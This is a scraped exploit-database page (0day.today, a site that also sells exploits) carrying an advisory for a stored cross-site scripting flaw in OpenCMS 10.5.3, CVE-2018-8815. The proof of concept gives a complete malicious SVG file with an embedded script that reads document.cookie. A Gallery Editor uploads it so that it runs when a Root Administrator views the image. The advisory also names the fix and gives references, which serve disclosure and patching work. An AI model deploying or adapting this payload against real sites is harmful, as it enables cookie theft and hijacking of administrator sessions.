0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
OpenCMS 10.5.3 - Cross-Site Scripting Vulnerability
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
# Exploit Title: OpenCMS 10.5.3 Stored Cross Site Scripting Vulnerability
# Google Dork: N/A
# Date: 02-04-2018
#######################################
# Exploit Author: Sureshbabu Narvaneni
# Author Blog : http://nullnews.in
# Vendor Homepage: http://www.opencms.org/en/
# Software Link: http://www.opencms.org/en/modules/downloads/begindownload.html?id=a7747cd0-b27b-11e7-8299-7fde8b0295e1
# Affected Version: 10.5.3
# Category: WebApps
# Tested on: Ubuntu 14.04 x86_64/Kali Linux 4.12 i686
# CVE : CVE-2018-8815
1. Vendor Description:
OpenCms from Alkacon Software is a professional, easy to use website
content management system. OpenCms helps content managers worldwide to
create and maintain beautiful websites fast and efficiently.
2. Technical Description:
Cross-site scripting (XSS) vulnerability in the gallery function in Alkacon
OpenCMS 10.5.3 allows remote attackers to inject arbitrary web script or
HTML via a malicious SVG image.
3. Proof Of Concept:
a) Login as user who is having Gallery Editor role.
b) Navigate to gallery and upload below svg file.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
stroke="#004400"/>
<script type="text/javascript">
alert(document.cookie);
</script>
</svg>
c) Once other user who is having Root Administrator permissions visited the
image link or viewed the uploaded svg image the script get executed.
4. Solution:
Upgrade to latest release.
http://www.opencms.org/en/home/news.html
5. Reference:
https://github.com/alkacon/opencms-core/issues/587
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-8815
# 0day.today [2024-11-15] #